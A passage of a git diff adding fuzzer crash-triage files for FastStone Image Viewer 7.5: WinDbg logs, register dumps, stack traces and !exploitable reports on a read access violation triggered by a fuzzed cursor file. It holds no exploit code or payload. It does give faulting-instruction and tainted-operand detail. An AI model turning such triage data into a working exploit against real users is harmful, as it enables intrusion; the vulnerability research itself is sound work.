0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.3219e-031 1.73587e+028 5.17119e-028 -4.84412e+029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00335000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00335000 62683d09 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00335000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..94f71f2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..766d0dd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(9e4.13fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f57b10 edx=00003879 esi=12738f10 edi=0f672fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.838e-026 1.59226e-035 -1.16485e+037 0.117462 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d1000 94ce847a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..766d0dd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(9e4.13fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f57b10 edx=00003879 esi=12738f10 edi=0f672fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 